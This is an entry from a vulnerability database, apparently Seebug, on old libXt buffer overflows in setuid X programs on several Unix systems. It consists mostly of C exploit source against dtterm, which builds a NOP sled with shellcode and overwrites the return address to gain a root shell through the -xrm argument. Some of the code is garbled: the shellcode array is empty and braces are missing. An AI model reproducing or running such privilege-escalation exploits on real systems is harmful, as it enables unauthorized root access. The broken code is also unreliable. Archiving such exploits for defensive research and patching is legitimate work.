BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4 libXt library Vulnerability (2)

ID SSV:73144
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. 

 * dtterm buffer overflow by jGgM
 * EMail:
#include <stdio.h>
#include <stdlib.h>

char shell[] =

#define NOP	0x90
#define LEN		102

#define BUFFER_SIZE	1052
#define RET_LENGTH	10
#define ADJUST		4

long get_sp(void) {
   __asm__("movl %esp, %eax");

main(int argc, char *argv[])
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   long offset, ret;
   int  x, y;

   if(argc > 2) {
      fprintf(stderr, "Usage: %s [offset]\n", argv[0]);
   } // end of if..

   if(argc == 2) offset = atol(argv[1]);
   else offset = 0;

   ret = get_sp() + 900 + offset;

   for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(shell) - ADJUST;

   for(y=0; y<strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y<RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf("ret = 0x%x,\n", ret);
   printf("offset = %d\n", offset);
   printf("buffer size = %d\n", strlen(buffer));
   execl("/usr/dt/bin/dtterm", "dtterm", "-xrm", buffer, NULL);
   printf("exec failed\n");